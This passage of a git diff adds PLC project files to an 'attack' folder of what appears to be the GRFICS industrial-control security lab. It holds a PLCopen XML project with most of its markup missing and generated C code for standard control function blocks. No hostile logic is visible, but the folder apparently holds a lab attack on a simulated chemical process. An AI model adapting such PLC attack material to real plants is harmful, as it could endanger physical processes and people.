+END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + 